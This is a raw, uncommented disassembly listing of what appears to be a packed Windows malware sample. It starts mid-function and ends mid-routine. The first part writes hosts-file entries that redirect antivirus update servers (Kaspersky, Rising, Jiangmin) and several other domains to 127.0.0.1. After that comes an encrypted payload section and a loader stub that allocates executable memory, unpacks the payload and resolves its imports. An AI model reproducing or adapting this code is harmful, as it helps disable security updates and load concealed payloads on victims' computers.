		push	offset a127_0_0_1Kvup_ ; "\n127.0.0.1\tkvup.jiangmin.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Reg_r ; "\n127.0.0.1\treg.rising.com.cn"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Upd_0 ; "\n127.0.0.1\tupdate.rising.com.cn"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Updat ; "\n127.0.0.1\tupdate7.jiangmin.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Downl ; "\n127.0.0.1\tdownload.rising.com.cn"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dn_29 ; "\n127.0.0.1\tdnl-us1.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dn_28 ; "\n127.0.0.1\tdnl-us2.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dn_27 ; "\n127.0.0.1\tdnl-us3.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Dn_26 ; "\n127.0.0.1\tdnl-us4.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dn_25 ; "\n127.0.0.1\tdnl-us5.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dn_24 ; "\n127.0.0.1\tdnl-us6.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dn_23 ; "\n127.0.0.1\tdnl-us7.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dn_22 ; "\n127.0.0.1\tdnl-us8.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dn_21 ; "\n127.0.0.1\tdnl-us9.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1DnlUs ; "\n127.0.0.1\tdnl-us10.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dn_20 ; "\n127.0.0.1\tdnl-eu1.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Dn_19 ; "\n127.0.0.1\tdnl-eu2.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dn_18 ; "\n127.0.0.1\tdnl-eu3.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dn_17 ; "\n127.0.0.1\tdnl-eu4.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dn_16 ; "\n127.0.0.1\tdnl-eu5.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dn_15 ; "\n127.0.0.1\tdnl-eu6.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dn_14 ; "\n127.0.0.1\tdnl-eu7.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dn_13 ; "\n127.0.0.1\tdnl-eu8.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dn_12 ; "\n127.0.0.1\tdnl-eu9.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Dn_11 ; "\n127.0.0.1\tdnl-eu10.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dn_10 ; "\n127.0.0.1\tdnl-eu11.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dnl_9 ; "\n127.0.0.1\tdnl-eu12.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1DnlEu ; "\n127.0.0.1\tdnl-eu13.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1DnlCd ; "\n127.0.0.1\tdnl-cd1.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dnl_8 ; "\n127.0.0.1\tdnl-ru1.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dnl_7 ; "\n127.0.0.1\tdnl-ru2.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1DnlRu ; "\n127.0.0.1\tdnl-ru5.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Dnl_6 ; "\n127.0.0.1\tdnl-cn1.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dnl_5 ; "\n127.0.0.1\tdnl-cn2.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1DnlCn ; "\n127.0.0.1\tdnl-cn3.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dnl_4 ; "\n127.0.0.1\tdnl-kr1.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dnl_3 ; "\n127.0.0.1\tdnl-kr2.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1DnlKr ; "\n127.0.0.1\tdnl-kr3.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dnl_2 ; "\n127.0.0.1\tdnl-jp1.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dnl_1 ; "\n127.0.0.1\tdnl-jp2.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Dnl_0 ; "\n127.0.0.1\tdnl-jp3.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1DnlJp ; "\n127.0.0.1\tdnl-jp4.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Inetp ; "\n127.0.0.1\tinetpc.net"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Mp0_i ; "\n127.0.0.1\tmp0.inetpc.net"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1M_pro ; "\n127.0.0.1\tm.proxyisp.info"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Proxy ; "\n127.0.0.1\tproxyisp.info"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Vncsv ; "\n127.0.0.1\tvncsvr.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ns2_d ; "\n127.0.0.1\tns2.darksheekz.info"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Darks ; "\n127.0.0.1\tdarksheekz.info"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Pcsec ; "\n127.0.0.1\tpcsecuritylab.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Liveu ; "\n127.0.0.1\tliveupdatesnet.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Rhyth ; "\n127.0.0.1\trhythmswing.org"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_r ; "\n127.0.0.1\twww.rhythmswing.org"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Pool_ ; "\n127.0.0.1\tpool.hybridtx.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Hybri ; "\n127.0.0.1\thybridtx.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1In1_s ; "\n127.0.0.1\tin1.smtp.messagingengine.com"...
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Messa ; "\n127.0.0.1\tmessagingengine.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1H_gtl ; "\n127.0.0.1\th.gtld-servers.net"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1GtldS ; "\n127.0.0.1\tgtld-servers.net"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Mail7 ; "\n127.0.0.1\tmail7.digitalwaves.co.nz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Netau ; "\n127.0.0.1\tnetau.dk"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_n ; "\n127.0.0.1\twww.netau.dk"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Eircd ; "\n127.0.0.1\teircd.zief.pl"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Zief_ ; "\n127.0.0.1\tzief.pl"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Pro_1 ; "\n127.0.0.1\tproxim.ircgalaxy.pl"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Pro_0 ; "\n127.0.0.1\tproxima.ircgalaxy.pl"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ircga ; "\n127.0.0.1\tircgalaxy.pl"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Proxi ; "\n127.0.0.1\tproxim.ntkrnlpa.info"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ntkrn ; "\n127.0.0.1\tntkrnlpa.info"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dep_m ; "\n127.0.0.1\tdep.mvl0an7.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Mvl0a ; "\n127.0.0.1\tmvl0an7.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dhcp_ ; "\n127.0.0.1\tdhcp.vncsvr.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Russi ; "\n127.0.0.1\trussia.blacktiehsbdcs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Jiets ; "\n127.0.0.1\tjiets.soidudrf.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Bti_j ; "\n127.0.0.1\tbti.jeiahsdod.net"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dirty ; "\n127.0.0.1\tdirty.eiheihre3.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Munir ; "\n127.0.0.1\tmunirah.nagitiriheiwu.net"
		push	esi
		call	edi	; fprintf
		push	esi
		call	dword_401008+8
		add	esp, 2Ch


loc_4048CD:				; CODE XREF: .packed:00403BDFj
					; .packed:00403BF0j ...
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 0A0h
		retn
; ---------------------------------------------------------------------------
		align 10h
		dd 491Ch, 2 dup(0)
		dd 4944h, 1000h, 4924h,	2 dup(0)
		dd 496Eh, 1008h, 5BEh dup(0)
_packed		ends

; Section 2. (virtual address 00006000)
; Virtual size			: 00002000 (   8192.)
; Section size in file		: 00002000 (   8192.)
; Offset to raw	data for section: 00006000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
fq0epazq	segment	para public 'CODE' use32
		assume cs:fq0epazq
		;org 406000h
		assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing
		dd 86E0000h, 2464F051h,	0BEF3DCB0h, 0F215BC7Fh,	3E742C29h
		dd 0CFDAFC5Eh, 9DECF80Bh, 209EB58Dh, 0F4BD41C5h, 0DA2AB272h
		dd 1707C58Bh, 3138B75Dh, 3F0700B9h, 45C98D79h, 0EDF89BEAh
		dd 744FDCE7h, 22E0F979h, 6C4FBD70h, 6307E1C3h, 739E328Dh
		dd 0C078D08Ch, 85695EB8h, 0EA259939h, 5B3D8D39h, 0A46AEE59h
		dd 428FBDB4h, 0E8422630h, 5B8836D9h, 0B31C1370h, 3F0C67BDh
		dd 111A48C5h, 64070770h, 0BC682493h, 0E7E84057h, 544812C6h
		dd 0D14E1F1Ch, 0E5CFFDAAh, 0FB687583h, 0E3A3F9E7h, 1F3055CFh
		dd 5F118600h, 0F7FE8D94h, 2DCBDA14h, 98E1F238h,	7D903D27h
		dd 808DA1E3h, 0B5258005h, 3C385AAAh, 0D4A74998h, 5E1D139Fh
		dd 0BCA4E0Bh, 6CA273C8h, 7EBA5A80h, 93C656A5h, 0D201C3C1h
		dd 6B8B6F36h, 0AC035D14h, 47608678h, 0E925D0DCh, 0E1300275h
		dd 3467F9CEh, 452FBF96h, 9C296AA8h, 680D240Fh, 5619A415h
		dd 470CC911h, 0E5FC2A66h, 3D5C2649h, 0B9CC0080h, 840B1446h
		dd 0DF123B51h, 0F97F9AB4h, 2D2FD67Ah, 0E5FEDFBFh, 12B9D86Dh
		dd 0F6DBF93Dh, 7D7D04FAh, 542678BEh, 0A08D33DEh, 11B553B8h
		dd 616A2A20h, 8569A08Ah, 2B2DBEC5h, 0C98A8BA0h,	0F0DCAF5Bh
		dd 7317D10Eh, 0DF3FEEBAh, 5A5F9784h, 7DBBB3D7h,	29A2A26Fh
		dd 0E13E3CDCh, 2BE37F22h, 25C6D501h, 1EACF85Fh,	0BCB9E178h
		dd 0CD2DE58Fh, 3CD4480Bh, 843E5DCCh, 1868EE4Dh,	5B3B34B5h
		dd 5A139142h, 55AC8A57h, 0FDE6EEEDh, 8B593203h,	921244C2h
		dd 0D6FCC9D8h, 79C58525h, 0F831ECF5h, 591C17E6h, 0B68E5B9Ah
		dd 0AFAB08Ah, 6BBAE2E6h, 3B852206h, 7A836175h, 0B6376CE4h
		dd 44D52FDh, 0DF79B676h, 462EF078h, 5CE6079Ah, 7472147Ah
		dd 75A1A66Eh, 97641B20h, 915B0451h, 0EC65CD93h,	0EB0D3657h
		dd 432DCA28h, 3958BE15h, 6632067Ah, 0BE2F48FDh,	0BDA7C3FEh
		dd 0BD371A80h, 0F6E6965Ch, 29C858Bh, 0C0A4E4ACh, 5FB3BBF9h
		dd 0B7332B4Fh, 0C01D921Bh, 15A5898Bh, 8FC6E89Bh, 1D9CA29Ch
		dd 7210ED69h, 5DDA4BECh, 6C2A90D9h, 97298F4Dh, 0EFA6E15Fh
		dd 0CC176F9Fh, 8EF7CA78h, 0E01E5454h, 4BA5D94Eh, 0E52781F2h
		dd 3AEC9959h, 4C2A40C6h, 2A7FFBCCh, 0E6B2B8EEh,	76492066h
		dd 8BC50C23h, 538B96C2h, 0CF40D927h, 506D5391h,	89D199B1h
		dd 0FA84E32h, 9AA0BE01h, 5467541Ch, 4D8D9611h, 94058EDh
		dd 0C95545B3h, 0F88D0073h, 0EC302D9Fh, 0C5A3E801h, 0D8B6ED16h
		dd 0DBF66316h, 0D5AE829Ah, 0C98D5EFBh, 0E4F90890h, 81806026h
		dd 3AD39A91h, 37BEEF71h, 0A07D3B6h, 857D010Ah, 0B6BC00DCh
		dd 0B4ED3BAh, 75C7B449h, 0DA9F2009h, 52A60A80h,	9C21DCDDh
		dd 0AF574C94h, 0A48B2074h, 67E6C331h, 14BFD5ADh, 0F85860BDh
		dd 72647EB9h, 736FA3AEh, 2041F677h, 0E80290B0h,	4DE991BAh
		dd 622C3905h, 0FD385111h, 0B8464964h, 0C59A0421h, 373D6747h
		dd 95CE89B6h, 95B1ACEBh, 0CF3E88AAh, 9B9B3477h,	0EB902DDCh
		dd 0ABBCD44Eh, 6F56D624h, 0EFD75747h, 115D0CD0h, 83E886FFh
		dd 5487BA4Dh, 4685A22Fh, 446611FFh, 3A1FDBF6h, 0B10B2B19h
		dd 1BD26E42h, 0DECA4617h, 0EAA68675h, 1B60E1BCh, 0C6B782FDh
		dd 0B8F49D3Bh, 0F923A063h, 681DDDB3h, 7D6E71F6h, 0F827CEFDh
		dd 27E5865Eh, 164D1404h, 87C9C603h, 5260D978h, 4ED62962h
		dd 0CC3307D8h, 0F1B7F5Ah, 2FF14ACBh, 65804E61h,	93FD9F26h
		dd 0DAE583CAh, 60C0F3E7h, 0D5C9352Bh, 39066D3Eh, 0A868A013h
		dd 1BA74449h, 7AF8E16Dh, 6B099AD1h, 1F9B8D6Dh, 9602082h
		dd 2EB475DFh, 0E2DF7FFBh, 0C598E041h, 91FAB14h,	3C84EF4Ah
		dd 0E7846C06h, 0FAA5C179h, 0A8586A51h, 0B019CE8Ch, 0D468AC01h
		dd 0FBA0E5ABh, 0FFA71393h, 0BC82CC39h, 814AE1D7h, 550FB021h
		dd 0FE0F8D2Bh, 0DA08AE7Dh, 9F95EEFBh, 0A1EA699Bh, 0BC031825h
		dd 6551559h, 52EA07A3h,	60C83B5h, 0C8341259h, 0A0BBF4F6h
		dd 0BA04A92Ah, 49340148h, 0B965727Eh, 8AE45BDh,	1498CC80h
		dd 642A7EFDh, 80A27DE9h, 4D854A6Ch, 11D265FCh, 0A412A268h
		dd 0EA8A825Ch, 72B0D50h, 381C1FB2h, 378865CAh, 0CE0477CEh
		dd 2B17BB66h, 0F0C7BFFDh, 15EEEE6Eh, 1DEEB2AFh,	0ED19A1ABh
		dd 0FBFB0251h, 53380F00h, 3B3C095Dh, 2C77078h, 0D38E7ABBh
		dd 87DAC0A0h, 817CF327h, 542E26B7h, 41E8A6FDh, 4E108B20h
		dd 94C2A9BBh, 0C052EB22h, 9966AEBFh, 1CA4A7F1h,	120D4424h
		dd 6831CF46h, 4B7F6B29h, 18117F79h, 790DC8BFh, 0BADF65F2h
		dd 0BB872699h, 632D3B4Bh, 96821AA8h, 745FFD6Ah,	2C313B49h
		dd 0A0631E69h, 8A469D71h, 0B0EFA936h, 35CA457Bh, 435183BAh
		dd 3CC6B1EEh, 40BF9283h, 41C88EE5h, 81199B42h, 82FD0F52h
		dd 0AF93E74h, 3FB815A7h, 963FDE8Fh, 174AE504h, 19DEE541h
		dd 90ECDD6Fh, 23CC95CDh, 0E8F0DE16h, 0CDDEACA2h, 1CB6EF8Ch
		dd 0B490F334h, 75D70F41h, 9E5B918Dh, 7B747458h,	97205DE7h
		dd 0D4A56F49h, 0CE7F60ADh, 8A4B6C8Ch, 0CE631989h, 0C57D13A6h
		dd 18EED776h, 0D88924C5h, 0D6658209h, 0FF61D157h, 979FBEEEh
		dd 7E0F8F2h, 0CA831A49h, 58F63C3Ch, 2648A3A9h, 19EBFB1Dh
		dd 623963C0h, 0E623F8C7h, 0AA993710h, 0A84CC5B2h, 0F42CEA05h
		dd 16F3195Eh, 0A3FC596Fh, 696838ECh, 4A0DD3E0h,	68212FE0h
		dd 18A77AF2h, 0E3CC4223h, 354839FDh, 994B34BCh,	0E0055191h
		dd 3D7A4BFEh, 0B53FAB3Dh, 8F1BC4CAh, 70E4EED0h,	7829EE8Ah
		dd 213CE312h, 46B96D1Ah, 90736481h, 0D6471B48h,	603F0A3Ah
		dd 82DF4FF2h, 0C95F1C96h, 5A5F3904h, 7EEB177Eh,	0AAC244F4h
		dd 0CF1B31A2h, 73B8916Eh, 0C01CB829h, 6ED0225Bh, 0E206F19Eh
		dd 6F9545F0h, 26F9870Fh, 0B93AFD22h, 8B7DB3CFh,	466575E0h
		dd 0D2B425D0h, 0EA745E67h, 0A470E251h, 0B7FE6B85h, 246DDE94h
		dd 61BFD0C0h, 0B9B8FC8Ah, 1DF3344Eh, 0C507620Dh, 2A208E3Ah
		dd 0EDB3D2BDh, 0F03471F4h, 83FC22C9h, 0E91263E4h, 0BB7636D6h
		dd 0EFCE121Eh, 51288F9Fh, 4EB56B58h, 7B305D96h,	31FFA22Ch
		dd 41BF15EBh, 82971B89h, 0E7009DEAh, 343E11D1h,	1B027DC3h
		dd 4E3FF813h, 3FB44810h, 1860CE30h, 4D9BD030h, 80E30E84h
		dd 1EA85E04h, 6CEE06A1h, 5BE92C31h, 2672D26Dh, 76258379h
		dd 6976C767h, 69367E7Dh, 612B4777h, 26E7192Ch, 0FE21BB8Eh
		dd 0FD148C4Ah, 0C47E3232h, 5E0B3B7Ch, 6B46AB77h, 559393DEh
		dd 558B2962h, 0DBD80FADh, 56619126h, 9B222B79h,	82BA7D0Bh
		dd 9EBF08ACh, 55E0078Ah, 2FA677FAh, 0F2EFD1EDh,	0C4F61407h
		dd 0C03E4562h, 0CFFE365Bh, 34E5585Eh, 47F7B861h, 0B6C4D60Eh
		dd 6D38CF75h, 0A39E7484h, 0F5A36340h, 8DE95E14h, 2AC89E49h
		dd 158584DFh, 4735CE0h,	5F9A75F6h, 0A2D8BB22h, 35AC02Bh
		dd 9D38CB98h, 60375BE8h, 0C54CECFFh, 19B8901Ah,	23EE428Fh
		dd 2008BB5Ah, 653890A0h, 465452E1h, 0E54EEAC4h,	6BF770E7h
		dd 9F2FA1Bh, 0D8C3DEB6h, 43047C5Eh, 0D505DEBDh,	2A9E56E3h
		dd 0DD0EAEDBh, 0E2A1B83Ch, 0FBFFB6B2h, 0D1BB04Dh, 6B5A1C06h
		dd 0CC6B6253h, 8A7BB0DEh, 8501AF79h, 152E9BF8h,	0E63B635h
		dd 0F967B00Eh, 155C0CD7h, 35AACC7Bh, 0FE265940h, 0CE345866h
		dd 7F8841C3h, 90FCE573h, 0AA0DC7Ch, 6821967Fh, 9D3F9ED6h
		dd 8E5465BDh, 6A2E03A2h, 0D484B99Eh, 6440C1A7h,	0F6518C4Eh
		dd 0AFB6ADCFh, 0D130D204h, 0AF7152A9h, 0F3AE6833h, 53A7260h
		dd 0BE5D9181h, 70CA3CEFh
		dd 0C3648C18h, 5BC83130h, 9B243C90h, 77B42E38h,	3D330A6Bh
		dd 24EA75ACh, 31C90565h, 9E082730h, 6A72E127h, 0CE2555C2h
		dd 0F067C634h, 3C31612Dh, 0FA2A4083h, 0CD56A17Ah, 65FDB8ECh
		dd 46943222h, 9D6909BAh, 0ADEA015Fh, 2E7CE359h,	9CF65137h
		dd 0E12A0B9Fh, 0A353E352h, 5306C2D9h, 9E73AFAh,	430AB69h
		dd 1F4B235Ch, 3A8CC350h, 3595D8FAh, 3C22815Fh, 0FC664B20h
		dd 0E1FA53A3h, 0C79F8E32h, 0C3C97964h, 8EE0278Ch, 0DF96CD9h
		dd 239F855Ch, 3D590BD7h, 2F8013Fh, 0E3D02118h, 37CBFF6Ch
		dd 0D3822F19h, 0D06699BDh, 32F0F223h, 9EE13807h, 62330D4Dh
		dd 4E07D623h, 32FAC567h, 6E45D84Ch, 5A8235DBh, 4A3F304Ch
		dd 0ED3B31E0h, 0E5DB6B20h, 4E76C9C9h, 990AF245h, 0E3142C9Dh
		dd 5EBE6650h, 37B6B027h, 499D4BCh, 12B1611Bh, 0C51E6AE6h
		dd 3D71A0C4h, 0B6CE9285h, 0F6E09C2Fh, 61A58CFEh, 2CB472BFh
		dd 0EFF9116Ah, 33DFD6EBh, 0A4317E00h, 35435FD1h, 0D943E173h
		dd 9EDE283Ch, 2375B11Eh, 0FCA2BDD8h, 466F05D5h,	17EEAAB3h
		dd 5342AE68h, 85EA673Ah, 0C1C79E2Ah, 0C269C9Dh,	0D5470260h
		dd 0D7A000A3h, 62D358A4h, 46207995h, 0E442D0E1h, 9116623Ah
		dd 0A2D38C2Eh, 86FC3D70h, 0CD5FB6C1h, 0F066BF44h, 0A2243E08h
		dd 0A8DD2DEBh, 0C36DD8CCh, 473F8648h, 0C6110DFFh, 3A8A0DF2h
		dd 0FD973966h, 1D40F4CFh, 0DE012B3Ah, 0DABC9950h, 1E158039h
		dd 0BEA16672h, 0F10B9768h, 37207690h, 3A0DA233h, 0A0DC96BCh
		dd 0B6A3168h, 0D677FFA8h, 4CC31894h, 5A395E9Ch,	637573B4h
		dd 0BF1EF110h, 326D312Eh, 0C0AAD205h, 0D7379946h, 598EABB0h
		dd 20442E47h, 9282598Ch, 0B1CA28DCh, 0A77F3905h, 4AD7E2A7h
		dd 0C4BDC5D0h, 4612E717h, 0DDF3EDF2h, 303B26F0h, 90BD041Bh
		dd 0C96FF7E3h, 87F5ADCEh, 0A230E9B5h, 0D875BF3Eh, 0A0B6D9h
		dd 91013B42h, 0D3D01EA9h, 6976A34Ch, 6C91559h, 0DBF9034Eh
		dd 250A9832h, 702444D4h, 82CCF2CCh, 45B5E01Dh, 70660C99h
		dd 0ED3531E2h, 710A9EA1h, 0CB122F47h, 84CCAFD2h, 9A90FA35h
		dd 0FB8461A9h, 40843EA4h, 6D8F3EECh, 89F96822h,	78A2F32Dh
		dd 0E4A8D8C9h, 37CDD9CFh, 0CD9619FDh, 269EA674h, 0C41D01A6h
		dd 2F857538h, 126CA433h, 7360BA26h, 494767B6h, 0B8484DDCh
		dd 4501BF1Bh, 1E89275Fh, 22768C4Eh, 7695A9F6h, 0C8DAC30Ch
		dd 0AF7F6632h, 2D0BF02h, 6249E06Dh, 0FF735C2Eh,	2876087Bh
		dd 3889FEAEh, 5A4A8B72h, 9F9E3489h, 221810CDh, 7F21BF98h
		dd 0EEADF64Fh, 0C7DF0391h, 23A979FFh, 0F7729A7Fh, 25A5A951h
		dd 280A941Ch, 95BCDF89h, 268E7CB2h, 9D4A141Dh, 0F41B8BB5h
		dd 77CA00D4h, 0F0E392FAh, 0BEF81F60h, 0B62B003Ch, 0A80F5783h
		dd 0BCCFB12Dh, 0BBF0A683h, 0C7100F4Ah, 0A62B0C1Ch, 0E96D6954h
		dd 51E0AA53h, 7828A5FAh, 0FE992679h, 2585DB7h, 584E0AF9h
		dd 9C6C0AC8h, 0E1248B16h, 4EBCD5EAh, 24BAF137h,	400895BCh
		dd 211C8919h, 99C266C1h, 24EE7E81h, 289CFEEh, 69CB000Dh
		dd 19D4C00Fh, 0BDBCBB18h, 2EB49953h, 97A43A58h,	0D2FED4EEh
		dd 6FC78E79h, 0F14007F6h, 9F7736D0h, 638CF89h, 0CAA97023h
		dd 0CDFF9917h, 5997D2BDh, 0CA29DB5Bh, 0AA1BC8DBh, 548A8EEDh
		dd 92320DDAh, 3422A753h, 69CCE6Bh, 71709B11h, 0CED7AC62h
		dd 0A63FE39h, 23B4736Ah, 0FDA22227h, 773A26DBh,	8F17AC04h
		dd 0C31F8BB6h, 0CA23F990h, 0E227C2CEh, 0F3A893E4h, 705A8BFFh
		dd 55070476h, 464E1634h, 0D44E5C04h, 0F51E7679h, 0C3601E13h
		dd 0E4133186h, 0FC795E39h, 0EB248607h, 0F76C493Bh, 2DC3F1D4h
		dd 0C9AC5761h, 0F440EBF8h, 0B69EE4A7h, 0D9919224h, 8BD517A6h
		dd 86CDD4CAh, 5B5ED681h, 7F37884Dh, 74DCD473h, 0C9D3B575h
		dd 0DD640A6Ch, 9703C78Dh, 0B243FAFAh, 0C5B2DA5Eh, 242FBB17h
		dd 55156565h, 3D95CD5Dh, 16178CB4h, 9385B7C5h, 0EF5CEEF7h
		dd 8C3513C8h, 0A4BC0D91h, 208094D3h, 0EC0D190Eh, 912A664Ah
		dd 0AAFDFF0Fh, 0CD2Fh, 0E8600000h, 0
; ---------------------------------------------------------------------------
		mov	ebp, [esp]
		add	esp, 4
		cmp	dword ptr [esp+28h], 1
		jnz	short loc_406C75
		mov	eax, [esp+24h]
		mov	[ebp+0C9Ch], eax
		jmp	short loc_406C81
; ---------------------------------------------------------------------------


loc_406C75:				; CODE XREF: fq0epazq:00406C67j
		mov	eax, [ebp+0C98h]
		mov	[ebp+0C9Ch], eax


loc_406C81:				; CODE XREF: fq0epazq:00406C73j
		lea	esi, [ebp+0CC4h]
		lea	ebx, [ebp+482h]
		xor	edi, edi
		push	40h
		push	1000h
		push	0C2000h
		push	0
		call	dword ptr [ebp+0C2Dh]
		mov	[ebp+0C94h], eax
		call	sub_406E07
		jmp	short loc_406CD0
; ---------------------------------------------------------------------------


loc_406CB0:				; CODE XREF: fq0epazq:00406CD4j
		pusha
		mov	eax, [ebp+0C9Ch]
		push	dword ptr [ebp+0C94h]
		push	dword ptr [edi+esi]
		add	[esp], eax
		push	dword ptr [edi+esi+4]
		add	[esp], eax
		call	ebx
		popa
		add	edi, 8


loc_406CD0:				; CODE XREF: fq0epazq:00406CAEj
		cmp	dword ptr [edi+esi], 0
		jnz	short loc_406CB0
		cmp	dword ptr [ebp+0CA8h], 0
		jz	short loc_406CED
		cmp	dword ptr [ebp+0CACh], 0
		jz	short loc_406CED
		call	sub_406EDF


loc_406CED:				; CODE XREF: fq0epazq:00406CDDj
					; fq0epazq:00406CE6j
		lea	esi, [edi+esi+4]
		push	ebx
		push	40h
		push	1000h
		push	39h
		push	0
		call	dword ptr [ebp+0C2Dh]
		mov	[ebp+0CC0h], eax
		pop	ebx
		pusha
		push	dword ptr [ebp+0C94h]
		push	esi
		push	dword ptr [ebp+0CC0h]
		call	ebx
		popa
		mov	esi, [ebp+0CC0h]
		mov	eax, esi
		jmp	short loc_406D29
; ---------------------------------------------------------------------------


loc_406D28:				; CODE XREF: fq0epazq:00406D2Cj
		inc	eax


loc_406D29:				; CODE XREF: fq0epazq:00406D26j
		cmp	byte ptr [eax],	1
		jnz	short loc_406D28
		inc	eax
		mov	edi, [eax]
		add	edi, [ebp+0C9Ch]
		add	eax, 4
		mov	[ebp+0CBCh], eax
		jmp	short loc_406DB4
; ---------------------------------------------------------------------------


loc_406D42:				; CODE XREF: fq0epazq:00406DB7j
		push	esi
		call	dword ptr [ebp+0C25h]
		or	eax, eax
		jnz	short loc_406D52
		call	sub_407038


loc_406D52:				; CODE XREF: fq0epazq:00406D4Bj
		test	eax, eax
		jz	loc_406E05
		mov	[ebp+0CB8h], eax
		mov	eax, esi
		jmp	short loc_406D92
; ---------------------------------------------------------------------------


loc_406D64:				; CODE XREF: fq0epazq:00406D95j
		mov	eax, [ebp+0CBCh]
		mov	eax, [eax]
		push	eax
		push	dword ptr [ebp+0CB8h]
		call	sub_406FA6
		test	eax, eax
		jz	loc_406E05
		mov	[edi], eax
		add	dword ptr [ebp+0CBCh], 4
		add	edi, 4
		mov	eax, [ebp+0CBCh]


loc_406D92:				; CODE XREF: fq0epazq:00406D62j
		cmp	dword ptr [eax], 0
		jnz	short loc_406D64
		jmp	short loc_406D9A
